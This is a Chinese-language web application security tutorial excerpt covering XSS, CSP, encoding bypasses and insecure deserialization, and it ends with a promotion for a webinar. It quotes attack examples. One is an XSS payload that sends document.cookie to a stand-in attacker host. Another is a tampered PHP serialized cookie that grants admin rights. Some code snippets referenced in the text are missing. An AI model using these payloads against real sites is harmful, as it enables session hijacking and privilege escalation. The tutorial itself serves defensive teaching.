針對(duì)用戶的瀏覽器,存在三種 XSS 類型:
如何防止?
防止 XSS,需要將不可信的數(shù)據(jù)與動(dòng)態(tài)的瀏覽器內(nèi)容區(qū)分開:
攻擊案例場(chǎng)景
場(chǎng)景#1:應(yīng)用程序在下面的 HTML 代碼段構(gòu)造中使用了未經(jīng)驗(yàn)證或轉(zhuǎn)義的不可信的數(shù)據(jù)源:
(String) page += "<input name='creditcard' type='TEXT‘ value='" + request.getParameter("CC“) + "'>";攻擊者在瀏覽器中修改“CC” 參數(shù)為如下值:
'><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie</script>'.這個(gè)攻擊會(huì)導(dǎo)致受害者的會(huì)話 ID 被發(fā)送到攻擊者的網(wǎng)站,使得攻擊者能夠劫持用戶當(dāng)前會(huì)話。
內(nèi)容安全策略 (CSP)
內(nèi)容安全策略 (CSP) 是一個(gè)額外的安全層,用于檢測(cè)并削弱某些特定類型的攻擊,包括跨站腳本 (XSS) 和數(shù)據(jù)注入攻擊等。無論是數(shù)據(jù)盜取、網(wǎng)站內(nèi)容污染還是惡意軟件,這些攻擊都是主要的手段。
CSP 被設(shè)計(jì)成完全向后兼容(除CSP2 在向后兼容有明確提及的不一致外)。不支持 CSP 的瀏覽器也能與實(shí)現(xiàn)了 CSP 的服務(wù)器正常合作,反之亦然:不支持 CSP 的瀏覽器只會(huì)忽略它,如常運(yùn)行,默認(rèn)為網(wǎng)頁內(nèi)容使用標(biāo)準(zhǔn)的同源策略。如果網(wǎng)站不提供 CSP Header,瀏覽器將使用標(biāo)準(zhǔn)的同源策略。
為使 CSP 可用, 你需要配置你的網(wǎng)絡(luò)服務(wù)器返回 Content-Security-Policy HTTP Header ( 有時(shí)你會(huì)看到一些關(guān)于 X-Content-Security-Policy Header 的提法, 那是舊版本,你無須再如此指定它)。
除此之外, 元素也可以被用來配置該策略, 例如:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">上下文敏感數(shù)據(jù)編碼(XSS 編碼與繞過)
對(duì)于了解 Web 安全的朋友來說,都知道 XSS 這種漏洞,其危害性不用強(qiáng)調(diào)。一般對(duì)于該漏洞的防護(hù)有兩個(gè)思路:一是過濾敏感字符,諸如【<,>,script,'】等,另一種是對(duì)敏感字符進(jìn)行 html 編碼,諸如 php 中的 htmlspecialchars() 函數(shù)。
一般情況,正確實(shí)施這兩種方案之一就可以有效防御 XSS 漏洞了。但其實(shí)也會(huì)有一些場(chǎng)景,即使實(shí)施了這兩種方案,攻擊者也可以繞過防護(hù),導(dǎo)致 XSS 漏洞被利用。
場(chǎng)景一:XSS 注入點(diǎn)在某個(gè) html 標(biāo)簽屬性中,代碼片段如下: 可以看到,這里防護(hù)措施采用的是方案一:過濾敏感字符。這里如果輸入javascript:alert (11),是會(huì)被過濾掉的,輸出的內(nèi)容會(huì)是:
場(chǎng)景二:XSS 注入點(diǎn)在 js 標(biāo)簽中,代碼片段如下: 這里采用的防護(hù)措施是第二種,即使用 php 內(nèi)置函數(shù) htmlspecialchars 對(duì)敏感字符進(jìn)行編碼。如果輸入正常的 payload,如:<img src=1 onerror=alert(11)>,是不會(huì)有彈窗的,此時(shí)瀏覽器的輸出如下圖: 這里的敏感字符< >,已經(jīng)被 html 編碼了,最后在
標(biāo)簽里面輸出的時(shí)候,瀏覽器再使用 html 解碼將其原文顯示出來,但是并不會(huì)觸發(fā)js引擎,所以也就沒有彈窗。下圖是 js 編碼后的 payload:
不安全的反序列化
不安全的反序列化會(huì)導(dǎo)致遠(yuǎn)程代碼執(zhí)行。即使反序列化缺陷不會(huì)導(dǎo)致遠(yuǎn)程代碼執(zhí)行,攻擊者也可以利用它們來執(zhí)行攻擊,包括:重播攻擊、注入攻擊和特權(quán)升級(jí)攻擊。
可利用性:難對(duì)反序列化的利用非常困難。因?yàn)樵诓桓幕蛘{(diào)整底層可被利用代碼的情況下,現(xiàn)成的反序列化漏洞很難被使用。
可檢測(cè)性:一般有些工具可以被用于發(fā)現(xiàn)反序列化缺陷,但經(jīng)常需要人工幫助來驗(yàn)證發(fā)現(xiàn)的問題。希望有關(guān)反序列化缺陷的普遍性數(shù)據(jù)將隨著工具的開發(fā)而被更多的識(shí)別和解決。
技術(shù)影響:嚴(yán)重反序列化缺陷的影響不能被低估。它們可能導(dǎo)致遠(yuǎn)程代碼執(zhí)行攻擊,這是可能發(fā)生的最嚴(yán)重的攻擊之一。
自查:您的應(yīng)用程序脆弱嗎?
如果反序列化進(jìn)攻者提供惡意代碼或者被篡改過的對(duì)象,將會(huì)使整個(gè)應(yīng)用程序和 API 變的脆弱,這可能會(huì)導(dǎo)致以下兩種主要類型的攻擊:
如果應(yīng)用中存在可以在反序列化過程中或者之后被改變行為的類,則攻擊者可以通過改變應(yīng)用邏輯或者實(shí)現(xiàn)遠(yuǎn)程代碼執(zhí)行攻擊,這種攻擊方式被稱為對(duì)象和數(shù)據(jù)結(jié)構(gòu)攻擊。
典型的數(shù)據(jù)篡改攻擊,如訪問控制相關(guān)的攻擊,其中使用了現(xiàn)有的數(shù)據(jù)結(jié)構(gòu),但內(nèi)容發(fā)生了變化。
在應(yīng)用程序中,序列化可能被用于:
- 遠(yuǎn)程和進(jìn)程間通信(RPC / IPC)
- 連線協(xié)議、Web服務(wù)、消息代理
- 緩存/持久性
- 數(shù)據(jù)庫、緩存服務(wù)器、文件系統(tǒng)
- HTTP cookie、HTML 表單參數(shù)、API 身份驗(yàn)證令牌
如何防止?
唯一安全的架構(gòu)模式是:不接受來自不受信源的序列化對(duì)象,或使用只允許原始數(shù)據(jù)類型的序列化媒體。 如果上述均無法實(shí)現(xiàn),請(qǐng)考慮使用下面的方法:
攻擊案例場(chǎng)景
場(chǎng)景 #1:一個(gè) React 應(yīng)用程序調(diào)用了一組 Spring Boot 微服務(wù),為了確保原有的代碼不變,解決方法是序列化用戶狀態(tài),并在每次請(qǐng)求時(shí)來回傳遞。這時(shí),攻擊者可利用“R00”Java 對(duì)象簽名,并使用 Java Serial Killer 工具在應(yīng)用服務(wù)器上獲得遠(yuǎn)程代碼執(zhí)行。
場(chǎng)景 #2:一個(gè) PHP 論壇使用 PHP 對(duì)象序列化來保存一個(gè)“超級(jí)”cookie。該 cookie 包含了用戶的 ID、角色、密碼哈希和其他狀態(tài):
a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user"; i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}
攻擊者可以更改序列化對(duì)象以授予自己為admin權(quán)限:
a:4:{i:0;i:1;i:1;s:5:"Alice";i:2;s:5:"admin"; i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}
使用含有已知漏洞的組件
組件(例如:庫、框架和其他軟件模塊)擁有和應(yīng)用程序相同的權(quán)限。如果應(yīng)用程序中含有已知漏洞的組件被攻擊者利用,可能會(huì)造成嚴(yán)重的數(shù)據(jù)丟失或服務(wù)器接管。同時(shí),使用含有已知漏洞的組件和API會(huì)破壞應(yīng)用程序的防御手段,造成各種攻擊并產(chǎn)生嚴(yán)重影響。
不足的日志記錄和監(jiān)控
不足的日志記錄和監(jiān)控,以及事件響應(yīng)缺失或無效的集成,使攻擊者能夠進(jìn)一步攻擊系統(tǒng),并篡改、提取或銷毀數(shù)據(jù)。大多數(shù)缺陷研究顯示,缺陷被檢測(cè)出的時(shí)間超過 200 天,且通常通過外部檢測(cè)方檢測(cè),而不是通過內(nèi)部流程或監(jiān)控檢測(cè)。
未雨綢繆 - 項(xiàng)目中如何應(yīng)對(duì)
開發(fā)人員需要做些什么?
以上便是從本次 Chat——“WebApp 安全風(fēng)險(xiǎn)與防護(hù)(系列二)”中截取的部分內(nèi)容,相信一定能對(duì)您的 WebApp 應(yīng)用程序安全防護(hù)有所幫助。
更多關(guān)于 WebApp 安全風(fēng)險(xiǎn)防護(hù)手段及葡萄城安全架構(gòu)中的實(shí)踐分享,將在葡萄城系列公開課“WebApp 安全風(fēng)險(xiǎn)與防護(hù)”中,由 Carl 親自講解,誠邀您學(xué)習(xí)觀看。
歡迎大家掃描下圖二維碼,預(yù)約報(bào)名參加。
**直播地址:http://live.vhall.com/137416596 **
**公開課地址:http://live.vhall.com/137416596 **公開課時(shí)間:2019/6/28 (周五)16:00 PM
最后
錯(cuò)過本場(chǎng)直播?沒關(guān)系,所有直播內(nèi)容我們會(huì)存放在葡萄城公開課頁面,便于您隨時(shí)觀看、學(xué)習(xí)。
“賦能開發(fā)者”葡萄城除了為所有開發(fā)人員提供免費(fèi)的開發(fā)技巧分享、項(xiàng)目實(shí)戰(zhàn)經(jīng)驗(yàn)外,還提供了眾多高水準(zhǔn)、高品質(zhì)的開發(fā)工具和開發(fā)者解決方案,可有效幫助開發(fā)人員提高效率,縮短項(xiàng)目周期,使開發(fā)人員能更專注于業(yè)務(wù)邏輯,順利完成高質(zhì)量的項(xiàng)目交付,歡迎您深入了解。
講師資料:Carl(陳慶),葡萄城高級(jí)架構(gòu)師、葡萄城技術(shù)公開課講師。擁有15年項(xiàng)目開發(fā)經(jīng)驗(yàn),專注于產(chǎn)品架構(gòu)、編程技術(shù)等領(lǐng)域,對(duì)網(wǎng)絡(luò)安全有著獨(dú)到見解,曾擔(dān)任微軟TechEd講師,樂于研究各種前沿技術(shù)并分享。
閱讀全文: http://gitbook.cn/gitchat/activity/5d0998e6dff5210354877cf0
您還可以下載 CSDN 旗下精品原創(chuàng)內(nèi)容社區(qū) GitChat App , GitChat 專享技術(shù)內(nèi)容哦。
總結(jié)
以上是生活随笔為你收集整理的WebApp 安全入门的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Win XP 精简版安装SQL Serv
- 下一篇: Java zip解压,并遍历zip中的配